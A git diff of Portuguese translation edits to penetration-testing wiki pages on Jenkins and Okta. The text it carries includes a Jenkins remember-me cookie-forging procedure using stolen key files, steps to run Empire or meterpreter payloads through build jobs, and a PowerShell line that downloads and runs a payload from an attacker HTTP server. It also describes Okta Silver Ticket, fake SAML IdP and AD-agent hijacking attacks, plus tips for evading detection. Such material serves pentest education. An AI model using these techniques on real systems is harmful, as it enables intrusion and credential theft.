- **Banco de dados de usuários/grupos Unix**: **Delegar a autenticação ao banco de dados de usuários** do sistema operacional Unix subjacente no controlador Jenkins. Este modo também permitirá a reutilização de grupos Unix para autorização.
|
||||
@@ -57,7 +57,7 @@ Plugins podem fornecer reinos de segurança adicionais que podem ser úteis para
|
||||
|
||||
Definições das [docs](https://www.jenkins.io/doc/book/managing/nodes/):
|
||||
|
||||
**Nós** são as **máquinas** nas quais os **agentes de construção** são executados. O Jenkins monitora cada nó conectado em relação ao espaço em disco, espaço temporário livre, swap livre, tempo/sincronização do relógio e tempo de resposta. Um nó é desconectado se qualquer um desses valores ultrapassar o limite configurado.
|
||||
**Nós** são as **máquinas** nas quais os **agentes de construção** são executados. O Jenkins monitora cada nó conectado em relação ao espaço em disco, espaço temporário livre, swap livre, hora/sincronização do relógio e tempo de resposta. Um nó é desconectado se qualquer um desses valores ultrapassar o limite configurado.
|
||||
|
||||
**Agentes** **gerenciam** a **execução de tarefas** em nome do controlador Jenkins **usando executores**. Um agente pode usar qualquer sistema operacional que suporte Java. Ferramentas necessárias para construções e testes são instaladas no nó onde o agente é executado; elas podem **ser instaladas diretamente ou em um contêiner** (Docker ou Kubernetes). Cada **agente é efetivamente um processo com seu próprio PID** na máquina host.
|
||||
|
||||
@@ -67,7 +67,7 @@ Um **executor** é um **slot para execução de tarefas**; efetivamente, é **um
|
||||
|
||||
### Criptografia de Segredos e Credenciais
|
||||
|
||||
Definição das [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): O Jenkins usa **AES para criptografar e proteger segredos**, credenciais e suas respectivas chaves de criptografia. Essas chaves de criptografia são armazenadas em `$JENKINS_HOME/secrets/` junto com a chave mestre usada para proteger essas chaves. Este diretório deve ser configurado para que apenas o usuário do sistema operacional sob o qual o controlador Jenkins está sendo executado tenha acesso de leitura e gravação a este diretório (ou seja, um valor `chmod` de `0700` ou usando atributos de arquivo apropriados). A **chave mestre** (às vezes referida como "chave de criptografia" em jargão criptográfico) é **armazenada \_não criptografada\_** no sistema de arquivos do controlador Jenkins em **`$JENKINS_HOME/secrets/master.key`**, o que não protege contra atacantes com acesso direto a esse arquivo. A maioria dos usuários e desenvolvedores usará essas chaves de criptografia indiretamente, seja através da API [Secret](https://javadoc.jenkins.io/byShortName/Secret) para criptografar dados secretos genéricos ou através da API de credenciais. Para os curiosos sobre criptografia, o Jenkins usa AES no modo de encadeamento de bloco de cifra (CBC) com preenchimento PKCS#5 e IVs aleatórios para criptografar instâncias de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) que são armazenadas em `$JENKINS_HOME/secrets/` com um nome de arquivo correspondente ao seu id de `CryptoConfidentialKey`. IDs de chave comuns incluem:
|
||||
Definição das [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): O Jenkins usa **AES para criptografar e proteger segredos**, credenciais e suas respectivas chaves de criptografia. Essas chaves de criptografia são armazenadas em `$JENKINS_HOME/secrets/` junto com a chave mestre usada para proteger essas chaves. Este diretório deve ser configurado para que apenas o usuário do sistema operacional sob o qual o controlador Jenkins está sendo executado tenha acesso de leitura e gravação a este diretório (ou seja, um valor `chmod` de `0700` ou usando atributos de arquivo apropriados). A **chave mestre** (às vezes referida como "chave de criptografia" em jargão criptográfico) é **armazenada \_não criptografada\_** no sistema de arquivos do controlador Jenkins em **`$JENKINS_HOME/secrets/master.key`** que não protege contra atacantes com acesso direto a esse arquivo. A maioria dos usuários e desenvolvedores usará essas chaves de criptografia indiretamente, seja através da API [Secret](https://javadoc.jenkins.io/byShortName/Secret) para criptografar dados secretos genéricos ou através da API de credenciais. Para os curiosos sobre criptografia, o Jenkins usa AES no modo de encadeamento de bloco de cifra (CBC) com preenchimento PKCS#5 e IVs aleatórios para criptografar instâncias de [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) que são armazenadas em `$JENKINS_HOME/secrets/` com um nome de arquivo correspondente ao seu id de `CryptoConfidentialKey`. IDs de chave comuns incluem:
|
||||
|
||||
- `hudson.util.Secret`: usado para segredos genéricos;
|
||||
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: usado para alguns tipos de credenciais;
|
||||
@@ -77,7 +77,7 @@ Definição das [docs](https://www.jenkins.io/doc/developer/security/secrets/#en
|
||||
|
||||
As credenciais podem ser **escopadas para provedores globais** (`/credentials/`) que podem ser acessados por qualquer projeto configurado, ou podem ser escopadas para **projetos específicos** (`/job/<project-name>/configure`) e, portanto, acessíveis apenas a partir do projeto específico.
|
||||
|
||||
De acordo com [**as docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): As credenciais que estão em escopo são disponibilizadas para o pipeline sem limitação. Para **evitar exposição acidental no log de construção**, as credenciais são **mascaradas** da saída regular, de modo que uma invocação de `env` (Linux) ou `set` (Windows), ou programas que imprimem seu ambiente ou parâmetros **não as revelariam no log de construção** para usuários que não teriam acesso às credenciais.
|
||||
De acordo com [**as docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credenciais que estão em escopo são disponibilizadas para o pipeline sem limitações. Para **evitar exposição acidental no log de construção**, as credenciais são **mascaradas** da saída regular, de modo que uma invocação de `env` (Linux) ou `set` (Windows), ou programas que imprimem seu ambiente ou parâmetros **não as revelariam no log de construção** para usuários que não teriam acesso às credenciais.
|
||||
|
||||
**É por isso que, para exfiltrar as credenciais, um atacante precisa, por exemplo, codificá-las em base64.**
|
||||
|
||||
|
||||
+21
-21
@@ -2,38 +2,38 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Neste post do blog é possível encontrar uma ótima maneira de transformar uma vulnerabilidade de Inclusão de Arquivo Local no Jenkins em RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
Neste post do blog, é possível encontrar uma ótima maneira de transformar uma vulnerabilidade de Inclusão de Arquivo Local no Jenkins em RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
|
||||
Este é um resumo criado por IA da parte do post onde a criação de um cookie arbitrário é abusada para obter RCE abusando de uma leitura de arquivo local até que eu tenha tempo para criar um resumo por conta própria:
|
||||
Este é um resumo criado por IA da parte do post onde a criação de um cookie arbitrário é abusada para obter RCE, explorando uma leitura de arquivo local até que eu tenha tempo para criar um resumo por conta própria:
|
||||
|
||||
### Attack Prerequisites
|
||||
### Pré-requisitos do Ataque
|
||||
|
||||
- **Feature Requirement:** "Lembre-se de mim" deve estar habilitado (configuração padrão).
|
||||
- **Access Levels:** O atacante precisa de permissões Gerais/Leitura.
|
||||
- **Secret Access:** Capacidade de ler tanto conteúdo binário quanto textual de arquivos-chave.
|
||||
- **Requisito de Funcionalidade:** "Lembre-se de mim" deve estar ativado (configuração padrão).
|
||||
- **Níveis de Acesso:** O atacante precisa de permissões Gerais/Leitura.
|
||||
- **Acesso Secreto:** Capacidade de ler tanto conteúdo binário quanto textual de arquivos-chave.
|
||||
|
||||
### Detailed Exploitation Process
|
||||
### Processo Detalhado de Exploração
|
||||
|
||||
#### Step 1: Data Collection
|
||||
#### Passo 1: Coleta de Dados
|
||||
|
||||
**User Information Retrieval**
|
||||
**Recuperação de Informações do Usuário**
|
||||
|
||||
- Acesse a configuração do usuário e segredos de `$JENKINS_HOME/users/*.xml` para cada usuário para coletar:
|
||||
- **Nome de usuário**
|
||||
- **Semente do usuário**
|
||||
- **Nome de Usuário**
|
||||
- **Semente do Usuário**
|
||||
- **Timestamp**
|
||||
- **Hash da senha**
|
||||
- **Hash da Senha**
|
||||
|
||||
**Secret Key Extraction**
|
||||
**Extração da Chave Secreta**
|
||||
|
||||
- Extraia chaves criptográficas usadas para assinar o cookie:
|
||||
- **Chave Secreta:** `$JENKINS_HOME/secret.key`
|
||||
- **Chave Mestra:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **Arquivo da Chave MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
|
||||
#### Step 2: Cookie Forging
|
||||
#### Passo 2: Forjamento de Cookie
|
||||
|
||||
**Token Preparation**
|
||||
**Preparação do Token**
|
||||
|
||||
- **Calcular Tempo de Expiração do Token:**
|
||||
|
||||
@@ -47,7 +47,7 @@ tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adiciona uma hora ao
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
|
||||
**MAC Key Decryption**
|
||||
**Descriptografia da Chave MAC**
|
||||
|
||||
- **Descriptografar o Arquivo da Chave MAC:**
|
||||
|
||||
@@ -59,7 +59,7 @@ return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
|
||||
**Signature Computation**
|
||||
**Cálculo da Assinatura**
|
||||
|
||||
- **Calcular HMAC SHA256:**
|
||||
|
||||
@@ -68,7 +68,7 @@ mac = HmacSHA256(token, macKey) // Calcular HMAC usando o token e a chave MAC
|
||||
tokenSignature = bytesToHexString(mac) // Converter o MAC para uma string hexadecimal
|
||||
```
|
||||
|
||||
**Cookie Encoding**
|
||||
**Codificação do Cookie**
|
||||
|
||||
- **Gerar Cookie Final:**
|
||||
|
||||
@@ -78,15 +78,15 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Codificar os dados do cookie em Base64
|
||||
```
|
||||
|
||||
#### Step 3: Code Execution
|
||||
#### Passo 3: Execução de Código
|
||||
|
||||
**Session Authentication**
|
||||
**Autenticação de Sessão**
|
||||
|
||||
- **Buscar Tokens CSRF e de Sessão:**
|
||||
- Faça uma solicitação para `/crumbIssuer/api/json` para obter `Jenkins-Crumb`.
|
||||
- Capture `JSESSIONID` da resposta, que será usado em conjunto com o cookie de lembrete.
|
||||
|
||||
**Command Execution Request**
|
||||
**Solicitação de Execução de Comando**
|
||||
|
||||
- **Enviar uma Solicitação POST com Script Groovy:**
|
||||
|
||||
|
||||
@@ -7,9 +7,9 @@
|
||||
Este método é muito barulhento porque você tem que criar um projeto completamente novo (obviamente isso só funcionará se o usuário tiver permissão para criar um novo projeto).
|
||||
|
||||
1. **Crie um novo projeto** (projeto Freestyle) clicando em "Novo Item" ou em `/view/all/newJob`
|
||||
2. Dentro da seção **Build**, defina **Executar shell** e cole um lançador do powershell Empire ou um powershell do meterpreter (pode ser obtido usando _unicorn_). Inicie o payload com _PowerShell.exe_ em vez de usar _powershell._
|
||||
2. Dentro da seção **Build**, defina **Execute shell** e cole um lançador do powershell Empire ou um powershell do meterpreter (pode ser obtido usando _unicorn_). Inicie o payload com _PowerShell.exe_ em vez de usar _powershell._
|
||||
3. Clique em **Build now**
|
||||
1. Se o botão **Build now** não aparecer, você ainda pode ir para **configurar** --> **Gatilhos de Build** --> `Build periodically` e definir um cron de `* * * * *`
|
||||
1. Se o botão **Build now** não aparecer, você ainda pode ir para **configure** --> **Build Triggers** --> `Build periodically` e definir um cron de `* * * * *`
|
||||
2. Em vez de usar cron, você pode usar a configuração "**Trigger builds remotely**" onde você só precisa definir o nome do token da API para acionar o trabalho. Em seguida, vá para o seu perfil de usuário e **gere um token da API** (chame este token da API como você chamou o token da API para acionar o trabalho). Finalmente, acione o trabalho com: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
|
||||
.png>)
|
||||
@@ -26,11 +26,11 @@ Ou **tente acessar o caminho** `/job/<proj-name>/configure` ou `/me/my-views/vie
|
||||
|
||||
## Execução
|
||||
|
||||
Se você tiver permissão para configurar o projeto, você pode **fazer com que ele execute comandos quando um build for bem-sucedido**:
|
||||
Se você tiver permissão para configurar o projeto, você pode **fazer com que ele execute comandos quando uma build for bem-sucedida**:
|
||||
|
||||
.png>)
|
||||
|
||||
Clique em **Salvar** e **construa** o projeto e seu **comando será executado**.\
|
||||
Se você não estiver executando um shell reverso, mas um comando simples, você pode **ver a saída do comando dentro da saída do build**.
|
||||
Se você não estiver executando um shell reverso, mas um comando simples, você pode **ver a saída do comando dentro da saída da build**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -36,7 +36,7 @@ println "out> $sout err> $serr"
|
||||
```
|
||||
### Reverse shell no Windows
|
||||
|
||||
Você pode preparar um servidor HTTP com um PS reverse shell e usar o Jeking para baixá-lo e executá-lo:
|
||||
Você pode preparar um servidor HTTP com um PS reverse shell e usar Jeking para baixá-lo e executá-lo:
|
||||
```python
|
||||
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
|
||||
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informações Básicas
|
||||
|
||||
[Okta, Inc.](https://www.okta.com/) é reconhecida no setor de gerenciamento de identidade e acesso por suas soluções de software baseadas em nuvem. Essas soluções são projetadas para simplificar e proteger a autenticação de usuários em várias aplicações modernas. Elas atendem não apenas a empresas que buscam proteger seus dados sensíveis, mas também a desenvolvedores interessados em integrar controles de identidade em aplicações, serviços web e dispositivos.
|
||||
|
||||
@@ -10,19 +10,19 @@ A oferta principal da Okta é a **Okta Identity Cloud**. Esta plataforma abrange
|
||||
|
||||
- **Single Sign-On (SSO)**: Simplifica o acesso do usuário permitindo um conjunto de credenciais de login em várias aplicações.
|
||||
- **Multi-Factor Authentication (MFA)**: Aumenta a segurança exigindo múltiplas formas de verificação.
|
||||
- **Lifecycle Management**: Automatiza os processos de criação, atualização e desativação de contas de usuário.
|
||||
- **Lifecycle Management**: Automatiza a criação, atualização e desativação de contas de usuário.
|
||||
- **Universal Directory**: Permite o gerenciamento centralizado de usuários, grupos e dispositivos.
|
||||
- **API Access Management**: Protege e gerencia o acesso às APIs.
|
||||
|
||||
Esses serviços visam coletivamente fortalecer a proteção de dados e simplificar o acesso do usuário, melhorando tanto a segurança quanto a conveniência. A versatilidade das soluções da Okta as torna uma escolha popular em várias indústrias, beneficiando grandes empresas, pequenas empresas e desenvolvedores individuais. Até a última atualização em setembro de 2021, a Okta é reconhecida como uma entidade proeminente na área de Gerenciamento de Identidade e Acesso (IAM).
|
||||
|
||||
> [!CAUTION]
|
||||
> O principal objetivo da Okta é configurar o acesso a diferentes usuários e grupos para aplicações externas. Se você conseguir **comprometer privilégios de administrador em um ambiente Okta**, você provavelmente será capaz de **comprometer todas as outras plataformas que a empresa está usando**.
|
||||
> O principal objetivo da Okta é configurar o acesso a diferentes usuários e grupos para aplicações externas. Se você conseguir **comprometer privilégios de administrador em um ambiente Okta**, você provavelmente conseguirá **comprometer todas as outras plataformas que a empresa está usando**.
|
||||
|
||||
> [!TIP]
|
||||
> Para realizar uma revisão de segurança de um ambiente Okta, você deve solicitar **acesso somente leitura de administrador**.
|
||||
|
||||
### Summary
|
||||
### Resumo
|
||||
|
||||
Existem **usuários** (que podem ser **armazenados na Okta,** logados de **Provedores de Identidade** configurados ou autenticados via **Active Directory** ou LDAP).\
|
||||
Esses usuários podem estar dentro de **grupos**.\
|
||||
@@ -35,47 +35,43 @@ Então, existem **aplicações** sincronizadas com a Okta. Cada aplicação ter
|
||||
>
|
||||
> Se um atacante comprometer a Okta com acesso de Administrador, todos os **apps que confiam na Okta** provavelmente estarão **comprometidos**.
|
||||
|
||||
## Attacks
|
||||
## Ataques
|
||||
|
||||
### Locating Okta Portal
|
||||
### Localizando o Portal Okta
|
||||
|
||||
Geralmente, o portal de uma empresa estará localizado em **companyname.okta.com**. Se não, tente variações simples de **companyname.** Se você não conseguir encontrá-lo, também é possível que a organização tenha um registro **CNAME** como **`okta.companyname.com`** apontando para o **portal Okta**.
|
||||
|
||||
### Login in Okta via Kerberos
|
||||
### Login na Okta via Kerberos
|
||||
|
||||
Se **`companyname.kerberos.okta.com`** estiver ativo, **Kerberos é usado para acesso à Okta**, geralmente contornando **MFA** para usuários **Windows**. Para encontrar usuários Okta autenticados por Kerberos no AD, execute **`getST.py`** com **parâmetros apropriados**. Após obter um **ticket de usuário AD**, **injete**-o em um host controlado usando ferramentas como Rubeus ou Mimikatz, garantindo que **`clientname.kerberos.okta.com` esteja na zona "Intranet" das Opções de Internet**. Acessar uma URL específica deve retornar uma resposta JSON "OK", indicando a aceitação do ticket Kerberos e concedendo acesso ao painel da Okta.
|
||||
Se **`companyname.kerberos.okta.com`** estiver ativo, **Kerberos é usado para acesso à Okta**, geralmente contornando **MFA** para usuários **Windows**. Para encontrar usuários Okta autenticados por Kerberos no AD, execute **`getST.py`** com **parâmetros apropriados**. Após obter um **ticket de usuário AD**, **injete**-o em um host controlado usando ferramentas como Rubeus ou Mimikatz, garantindo que **`clientname.kerberos.okta.com` esteja na zona "Intranet" das Opções da Internet**. Acessar uma URL específica deve retornar uma resposta JSON "OK", indicando a aceitação do ticket Kerberos e concedendo acesso ao painel da Okta.
|
||||
|
||||
Comprometer a **conta de serviço Okta com o SPN de delegação permite um ataque de Silver Ticket.** No entanto, o uso de **AES** pela Okta para criptografia de tickets requer possuir a chave AES ou a senha em texto claro. Use **`ticketer.py` para gerar um ticket para o usuário vítima** e entregá-lo via navegador para autenticar com a Okta.
|
||||
|
||||
**Verifique o ataque em** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Hijacking Okta AD Agent
|
||||
### Sequestro do Agente AD da Okta
|
||||
|
||||
Esta técnica envolve **acessar o Okta AD Agent em um servidor**, que **sincroniza usuários e lida com autenticação**. Ao examinar e descriptografar configurações em **`OktaAgentService.exe.config`**, notavelmente o AgentToken usando **DPAPI**, um atacante pode potencialmente **interceptar e manipular dados de autenticação**. Isso permite não apenas **monitorar** e **capturar credenciais de usuário** em texto claro durante o processo de autenticação da Okta, mas também **responder a tentativas de autenticação**, permitindo assim acesso não autorizado ou fornecendo autenticação universal através da Okta (semelhante a uma 'chave mestra').
|
||||
Esta técnica envolve **acessar o Agente AD da Okta em um servidor**, que **sincroniza usuários e lida com autenticação**. Ao examinar e descriptografar configurações em **`OktaAgentService.exe.config`**, notavelmente o AgentToken usando **DPAPI**, um atacante pode potencialmente **interceptar e manipular dados de autenticação**. Isso permite não apenas **monitorar** e **capturar credenciais de usuário** em texto claro durante o processo de autenticação da Okta, mas também **responder a tentativas de autenticação**, permitindo assim acesso não autorizado ou fornecendo autenticação universal através da Okta (semelhante a uma 'chave mestra').
|
||||
|
||||
**Verifique o ataque em** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Hijacking AD As an Admin
|
||||
### Sequestro do AD como Administrador
|
||||
|
||||
Esta técnica envolve sequestrar um Okta AD Agent obtendo primeiro um Código OAuth, e então solicitando um token de API. O token está associado a um domínio AD, e um **conector é nomeado para estabelecer um agente AD falso**. A inicialização permite que o agente **processe tentativas de autenticação**, capturando credenciais via API da Okta. Ferramentas de automação estão disponíveis para agilizar esse processo, oferecendo um método contínuo para interceptar e lidar com dados de autenticação dentro do ambiente Okta.
|
||||
Esta técnica envolve sequestrar um Agente AD da Okta obtendo primeiro um Código OAuth, e então solicitando um token de API. O token está associado a um domínio AD, e um **conector é nomeado para estabelecer um agente AD falso**. A inicialização permite que o agente **processe tentativas de autenticação**, capturando credenciais via API da Okta. Ferramentas de automação estão disponíveis para agilizar esse processo, oferecendo um método contínuo para interceptar e lidar com dados de autenticação dentro do ambiente Okta.
|
||||
|
||||
**Verifique o ataque em** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Okta Fake SAML Provider
|
||||
### Provedor SAML Falso da Okta
|
||||
|
||||
**Verifique o ataque em** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
A técnica envolve **implantar um provedor SAML falso**. Ao integrar um Provedor de Identidade (IdP) externo dentro da estrutura da Okta usando uma conta privilegiada, os atacantes podem **controlar o IdP, aprovando qualquer solicitação de autenticação à vontade**. O processo envolve configurar um IdP SAML 2.0 na Okta, manipulando a URL de Single Sign-On do IdP para redirecionamento via arquivo de hosts local, gerando um certificado autoassinado e configurando as configurações da Okta para corresponder ao nome de usuário ou email. Executar com sucesso esses passos permite autenticação como qualquer usuário da Okta, contornando a necessidade de credenciais individuais de usuário, elevando significativamente o controle de acesso de maneira potencialmente não percebida.
|
||||
|
||||
### Phishing Okta Portal with Evilgnix
|
||||
|
||||
Em [**este post do blog**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) é explicado como preparar uma campanha de phishing contra um portal Okta.
|
||||
|
||||
### Colleague Impersonation Attack
|
||||
### Ataque de Impersonação de Colega
|
||||
|
||||
Os **atributos que cada usuário pode ter e modificar** (como email ou primeiro nome) podem ser configurados na Okta. Se uma **aplicação** estiver **confiando** como ID um **atributo** que o usuário pode **modificar**, ele poderá **impersonar outros usuários nessa plataforma**.
|
||||
|
||||
Portanto, se o app estiver confiando no campo **`userName`**, você provavelmente não conseguirá mudá-lo (porque geralmente não é possível alterar esse campo), mas se estiver confiando, por exemplo, em **`primaryEmail`**, você pode ser capaz de **mudá-lo para o endereço de email de um colega** e impersoná-lo (você precisará ter acesso ao email e aceitar a mudança).
|
||||
Portanto, se o app confiar no campo **`userName`**, você provavelmente não conseguirá mudá-lo (porque geralmente não é possível alterar esse campo), mas se confiar, por exemplo, em **`primaryEmail`**, você pode ser capaz de **mudá-lo para o endereço de email de um colega** e impersoná-lo (você precisará ter acesso ao email e aceitar a mudança).
|
||||
|
||||
Note que essa impersonação depende de como cada aplicação foi configurada. Apenas aquelas que confiam no campo que você modificou e aceitam atualizações serão comprometidas.\
|
||||
Portanto, o app deve ter esse campo habilitado se existir:
|
||||
@@ -86,19 +82,19 @@ Eu também vi outros apps que eram vulneráveis, mas não tinham esse campo nas
|
||||
|
||||
A melhor maneira de descobrir se você poderia impersonar alguém em cada app seria tentar!
|
||||
|
||||
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
|
||||
## Evitando políticas de detecção comportamental <a href="#id-9fde" id="id-9fde"></a>
|
||||
|
||||
As políticas de detecção comportamental na Okta podem ser desconhecidas até serem encontradas, mas **contorná-las** pode ser alcançado **direcionando aplicações Okta diretamente**, evitando o painel principal da Okta. Com um **token de acesso Okta**, reproduza o token na **URL específica da aplicação Okta** em vez da página principal de login.
|
||||
As políticas de detecção comportamental na Okta podem ser desconhecidas até serem encontradas, mas **contorná-las** pode ser alcançado **direcionando-se diretamente para as aplicações Okta**, evitando o painel principal da Okta. Com um **token de acesso Okta**, reproduza o token na **URL específica da aplicação Okta** em vez da página principal de login.
|
||||
|
||||
As principais recomendações incluem:
|
||||
|
||||
- **Evitar usar** proxies de anonimização populares e serviços de VPN ao reproduzir tokens de acesso capturados.
|
||||
- Garantir **strings de agente de usuário consistentes** entre o cliente e os tokens de acesso reproduzidos.
|
||||
- **Evitar reproduzir** tokens de diferentes usuários do mesmo endereço IP.
|
||||
- Ter cautela ao reproduzir tokens contra o painel da Okta.
|
||||
- **Evite usar** proxies de anonimização populares e serviços de VPN ao reproduzir tokens de acesso capturados.
|
||||
- Certifique-se de que **strings de agente de usuário consistentes** entre o cliente e os tokens de acesso reproduzidos.
|
||||
- **Evite reproduzir** tokens de diferentes usuários do mesmo endereço IP.
|
||||
- Tenha cautela ao reproduzir tokens contra o painel da Okta.
|
||||
- Se souber os endereços IP da empresa vítima, **restrinja o tráfego** para esses IPs ou seu intervalo, bloqueando todo o outro tráfego.
|
||||
|
||||
## Okta Hardening
|
||||
## Fortalecimento da Okta
|
||||
|
||||
A Okta tem muitas configurações possíveis, nesta página você encontrará como revisá-las para que sejam o mais seguras possível:
|
||||
|
||||
@@ -106,7 +102,7 @@ A Okta tem muitas configurações possíveis, nesta página você encontrará co
|
||||
okta-hardening.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
|
||||
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
|
||||
|
||||
@@ -17,7 +17,7 @@ Aqui é onde você encontra todos os grupos criados no Okta. É interessante ent
|
||||
|
||||
Claro, qualquer grupo com o nome de **admin** é interessante, especialmente o grupo **Administradores Globais**, verifique os membros para saber quem são os membros mais privilegiados.
|
||||
|
||||
De uma revisão de caixa branca, **não deve haver mais de 5 administradores globais** (melhor se houver apenas 2 ou 3).
|
||||
Em uma revisão de caixa branca, **não deve haver mais de 5 administradores globais** (melhor se houver apenas 2 ou 3).
|
||||
|
||||
### Devices
|
||||
|
||||
@@ -37,7 +37,7 @@ Eu não vi isso, mas imagino que seja interessante descobrir **outros diretório
|
||||
|
||||
### Profile Sources
|
||||
|
||||
Uma fonte de perfil é uma **aplicação que atua como uma fonte de verdade** para atributos de perfil de usuário. Um usuário pode ser originado apenas por um único aplicativo ou diretório de cada vez.
|
||||
Uma fonte de perfil é uma **aplicação que atua como uma fonte de verdade** para atributos de perfil de usuário. Um usuário pode ser originado por apenas uma única aplicação ou diretório de cada vez.
|
||||
|
||||
Eu não vi isso, então qualquer informação sobre segurança e hacking em relação a essa opção é apreciada.
|
||||
|
||||
@@ -65,7 +65,7 @@ Configuração interessante, mas nada super interessante do ponto de vista de se
|
||||
|
||||
### Applications
|
||||
|
||||
Aqui você pode encontrar todos os **aplicativos configurados** e seus detalhes: Quem tem acesso a eles, como está configurado (SAML, OpenID), URL para login, os mapeamentos entre Okta e o aplicativo...
|
||||
Aqui você pode encontrar todos os **aplicativos configurados** e seus detalhes: Quem tem acesso a eles, como está configurado (SAML, OpenID), URL para login, os mapeamentos entre Okta e a aplicação...
|
||||
|
||||
Na aba **`Sign On`** também há um campo chamado **`Password reveal`** que permitiria a um usuário **revelar sua senha** ao verificar as configurações do aplicativo. Para verificar as configurações de um aplicativo a partir do Painel do Usuário, clique nos 3 pontos:
|
||||
|
||||
@@ -79,7 +79,7 @@ E você poderia ver mais detalhes sobre o aplicativo (como o recurso de revelaç
|
||||
|
||||
### Access Certifications
|
||||
|
||||
Use as Certificações de Acesso para criar campanhas de auditoria para revisar o acesso dos seus usuários a recursos periodicamente e aprovar ou revogar o acesso automaticamente quando necessário.
|
||||
Use Access Certifications para criar campanhas de auditoria para revisar o acesso dos seus usuários a recursos periodicamente e aprovar ou revogar o acesso automaticamente quando necessário.
|
||||
|
||||
Eu não vi isso sendo usado, mas imagino que, do ponto de vista defensivo, seja um bom recurso.
|
||||
|
||||
@@ -104,7 +104,7 @@ Aqui é possível encontrar configurações **corretamente** e **perigosamente**
|
||||
|
||||
Aqui você pode encontrar todos os métodos de autenticação que um usuário poderia usar: Senha, telefone, e-mail, código, WebAuthn... Clicando no autenticador de Senha, você pode ver a **política de senha**. Verifique se é forte.
|
||||
|
||||
Na aba **Enrollment** você pode ver como os que são obrigatórios ou opcionais:
|
||||
Na aba **Enrollment**, você pode ver como os que são obrigatórios ou opcionais:
|
||||
|
||||
<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -114,7 +114,7 @@ Na aba **Enrollment** você pode ver como os que são obrigatórios ou opcionais
|
||||
|
||||
Cada aplicativo tem uma política de autenticação. A política de autenticação verifica se os usuários que tentam fazer login no aplicativo atendem a condições específicas e impõe requisitos de fator com base nessas condições.
|
||||
|
||||
Aqui você pode encontrar os **requisitos para acessar cada aplicativo**. É recomendado solicitar pelo menos senha e outro método para cada aplicativo. Mas se como atacante você encontrar algo mais fraco, pode ser capaz de atacá-lo.
|
||||
Aqui você pode encontrar os **requisitos para acessar cada aplicativo**. É recomendado solicitar pelo menos senha e outro método para cada aplicativo. Mas se, como atacante, você encontrar algo mais fraco, pode ser capaz de atacá-lo.
|
||||
|
||||
### Global Session Policy
|
||||
|
||||
@@ -122,11 +122,11 @@ Aqui você pode encontrar as políticas de sessão atribuídas a diferentes grup
|
||||
|
||||
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
É recomendado solicitar MFA, limitar a duração da sessão a algumas horas, não persistir cookies de sessão em extensões de navegador e limitar a localização e o Provedor de Identidade (se isso for possível). Por exemplo, se cada usuário deve fazer login de um país específico, você poderia permitir apenas essa localização.
|
||||
É recomendável solicitar MFA, limitar a duração da sessão a algumas horas, não persistir cookies de sessão em extensões de navegador e limitar a localização e o Provedor de Identidade (se isso for possível). Por exemplo, se cada usuário deve fazer login de um país específico, você poderia permitir apenas essa localização.
|
||||
|
||||
### Identity Providers
|
||||
|
||||
Os Provedores de Identidade (IdPs) são serviços que **gerenciam contas de usuário**. Adicionar IdPs no Okta permite que seus usuários finais **se registrem** em seus aplicativos personalizados, autenticando-se primeiro com uma conta social ou um cartão inteligente.
|
||||
Os Provedores de Identidade (IdPs) são serviços que **gerenciam contas de usuário**. Adicionar IdPs no Okta permite que seus usuários finais se **autoregistrem** com suas aplicações personalizadas, primeiro autenticando-se com uma conta social ou um cartão inteligente.
|
||||
|
||||
